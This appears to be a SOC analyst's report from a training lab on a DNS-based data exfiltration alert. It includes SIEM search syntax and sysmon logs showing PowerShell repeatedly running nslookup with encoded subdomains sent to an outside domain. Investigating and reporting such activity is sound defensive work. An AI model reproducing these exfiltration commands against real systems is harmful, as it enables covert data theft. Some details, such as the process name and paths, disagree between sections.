

← Case report for event ID: 1030

Incident report

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Incident classification

Case report

-User Involved: According to Company Information > Directory.

Role: CEO

Logged-in Host: win-3450

Incident Details: At 12/27/2025 15:54:04.164, nlschool.exe (PID 5704) was executed by powershell.exe (PID 3728) from C:\Users\jmicheel\ascd\downloads\exfiltration. The command queried the external domain AdAAAAHQAAUedmZdGg9yUjJ-ZvYu.haz4rdw4re.io. This continues a series of automated DNS queries with encoded-looking subdomains following prior network drive access and file copy activity, indicating likely DNS-based data exfiltration.

-Malware Identified: None explicitly identified. Behavior is consistent with DNS-based exfiltration techniques.

Does this alert require escalation?

☒ Yes ☐ No

Save and close alert

Alert 1030: Process

- Identified as True Positive
- Requires escalation to L2
- Full Report Documented on the last page

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host.name="win-3450" process.name="nslookup.exe" process.parent.name="powershell.exe"

10 of 30 events matched No Event Sampling ▾

6 day window ▾ 🔍

Events (10) Patterns Statistics Visualization

Format Timeline ▾ ← Zoom Out + Zoom to Selection × Deselect

1 hour per column

List ▾
✓ Format
50 Per Page ▾

	Time	Event
>	12/27/25 3:55:33.248 PM	<pre>{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" VEHNeZEROTcZMjFnNGYzZjA1OWE1Mm.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 3700 process.working_directory: C:\Users\Michael.ascot\downloads\ timestamp: 12/27/2025 15:55:33.248 }</pre> Show as raw text host = 10.10.211.182:8989 source = eventcollector sourcetype = _json
>	12/27/25 3:55:33.248 PM	<pre>{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" RmJYEGZlMTY1NjZlFQ==.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 3648 process.working_directory: C:\Users\Michael.ascot\downloads\</pre>

< Hide Fields
≡ All Fields

SELECTED FIELDS
 a host 1
 a source 1
 a sourcetype 1

INTERESTING FIELDS
 a datasource 1
 a event.action 1
 a event.code 1
 a host.name 1
 a index 1
 a linecount 1
 a process.command_line 10
 a process.name 1
 a process.parent.name 1
 a process.parent.pid 1
 a process.pid 10
 a process.working_directory 2
 a punct 1
 a splunk_server 1
 a timestamp 2

[+ Extract New Fields](#)

SIEM Investigation

- For reference: The incident occurred ten times in the last 6 hours (Starting Dec 27th 2025 at 15:20 to 21:20)

Submitted report:

-Time of Incident: 12/27/2025 15:54:04.164

-User Involved: According to Company Information > Directory:

Name: Michael Ascot

Email: michael.ascot@tryhatme.com

Role: CEO

Logged-in Host: win-3450

-Device: win-3450 (Windows host)

-Incident Details: At 12/27/2025 15:54:04.164, nslookup.exe (PID 5704) was executed by powershell.exe (PID 3728) from C:\Users\michael.ascot\downloads\exfiltration\. The command queried the external domain AdAAAAHQAAAEIudmVzdG9yUHJlc2Vu.haz4rdw4re.io. This continues a series of automated DNS queries with encoded-looking subdomains following prior network drive access and file copy activity, indicating likely DNS-based data exfiltration.

-Malware Identified: None explicitly identified. Behavior is consistent with DNS-based exfiltration techniques.

-Additional Investigation: The incident occurred ten times in the last 6 hours (Starting Dec 27th 2025 at 15:20 to 21:20) According to SIEM Logs

-Additional info:

-Parent Process: powershell.exe was used to script and repeatedly execute DNS queries, suggesting intentional automation rather than normal user behavior.

-Child Process: nslookup.exe is a legitimate Windows DNS query utility that can be abused to covertly transmit data within DNS requests.

Why This Is Uncommon: Multiple high-entropy DNS queries executed via PowerShell from a directory named "exfiltration" are not typical system or user actions and are strongly indicative of covert data transfer activity.

-Recommendations: Escalate to Level 2 (L2) for further investigation and handling.

-This is a True Positive

-This needs escalation to L2 for further investigation